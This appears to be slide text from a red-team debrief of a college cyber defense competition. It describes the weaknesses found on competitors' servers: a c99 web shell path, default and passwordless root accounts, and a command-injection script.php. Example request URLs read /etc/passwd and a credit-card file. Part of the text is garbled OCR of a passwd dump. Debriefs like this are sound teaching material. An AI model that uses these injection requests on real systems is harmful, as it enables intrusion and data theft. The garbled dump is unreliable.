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PASSWORD CRACKING ON THE CYSTORM




ACES SERVER CAUGHT TEAMS UNPREPARED

http://ace.sitel.cdc.com/~jeff/.c99.php
Default usernames and passwords

Typically we would log in as a user (“michael”), and su to
“toor”, a root user with no password

Root has an authorized key in /root/.ssh/authorized keys

A check over the users on the box, paired with some
software updates and more appropriate Apache settings,
would be enough to keep this system secure.




WEB SERVER

You can run arbitrary commands on the web server with script.php
www.siteX.cdc.com/script.php?command=cat%20/etc/passwd

/ wanay,sited cdc.com/scrip X."'-\_ viewe-sourcenansited ol % W
€« C [ waawvsite cdecom/scriptphp?oommand =cat®20/ete/passwd C [ view-sourcemmnwsite  cdccom/scriptphp?oomme
3 <hZx
Thanks f[}]' tl 4 <!-— thiz iz the start of my code to remotely man
IQ_ g Thanks for the input!</hr>
__jiilll fi <8 href="/index.html">Return</ax
7 <fhEx
) 8 <form action="script.php™ method="get':>
Connnand._f 9 Command: <!-- <input type="text™ nam
10 <input type="submit"™ wvaluse="submit":>-
rootz0: Orootfroot/binbash dasmonz 1: 1 dasmonusn’shinybin'sh binz2: 2 bindbinba'sh sysm 3 3sysddev)] o </ form>
manzé: 1 2mandvar/cache/man/bin'sh lpx 7 pdvartzpoollpdibindsh mailz 88 malivarmadlbin'sh news 9 2 <f div

. e . 13| </HTHML>
proxyx 131 3proxyfhindbinlsh warw-datacz 333 3 wrww - datasivarwwawribinsh backup 3434 backupfranl % rootix:0:0:root:/root:/bin/bash

gnatsxd 1:41:Gnats Bug-Reporting System (admin)rarilib/gnats binfsh nobodyx 655346553 nobodyinony 1 gaemon:w:1:1:daewon: fusr/shin: /bin/sh
exitnz 101105 frarfep oolfeximd ihinfalze statdz 10260534 var/libinfs binfdalse sshdxz 10265534 fvarfmung 15 bin:x:z:2:bin:/bin:/bin/sh

Server,,, frarflibimysgl/binfalse test:x1001:1007:,, Jhomeftest/binfbash michaelx 1002: 1018 home/michaelf 17 S¥ysix:3:d:sys:/dev: fbil_lf"Sh _

brittanyz 1005:102 1vhomebrttany fbinbash matthew:z:2 1006: 1022 fhome/matthew binvbash gabbyz 1007 1@ syncixid:i65534:syne:/bini/oin/syne

) ; 10 games:x:5:60:games: fusr,/games: fbin/sh

beccax 1009:1025:homebeccarbin'bash benzx 1010:1026 /homeben/binbash nolanz 10111027 dhome ) pwan:w:6: 12 iman: /var/ cache/man: /hin/sh

jemmaz 10141030 fhomediennabinbash edz 1015103 1 thomel/ed/bin'bash emityz 10161032 0 homefemilf] 21 1p=x:7:7: 1p:/var/spool/ 1pd: fhind sh

I wail:x:8:8:mail:fvar/mail:/binfsh

1 news:¥:9:9:news:/var/spool/neus: /hin/sh

4 uucp:x:10:10:uucp: fvar/spool/uucp: Sbin/sh

M proxvy:x:l3:13:proxy:/hin:/hin/sh

6 wow—data:x: 3333 www-data: /var/wvuw: fhinssh

77 backup:x:34:34:backup:/var/backups:/bin/=sh

% list:x:38:38:Mailing List Manager:/var/list:/bhin/sh
1 irciH:39:39:ired: fvar/run/ired: /hin/sh

3 gnats:x:41:41:Gnats Bug-Feporting Svstem (adwin) :/va




WEB SERVER

* http://www.siteX.cdc.com/script.php?

command=cat
%?20/var/lib/mediawiki/images/3/33/Company_cre

dit_cards.txt

* MySQL often open to root user with no password
* Allows us to read files, get database contents




FIRE DRILL

* Open consoles
* Left-out papers and password lists
* Even a physical keylogger!




IN THE END

* Very strong security across most of the teams
* Need more attention on usability!!!




	Slide 1
	Password Cracking on the CyStorm
	ACES Server Caught Teams Unprepared
	Web Server
	Web Server
	Fire Drill
	In the End

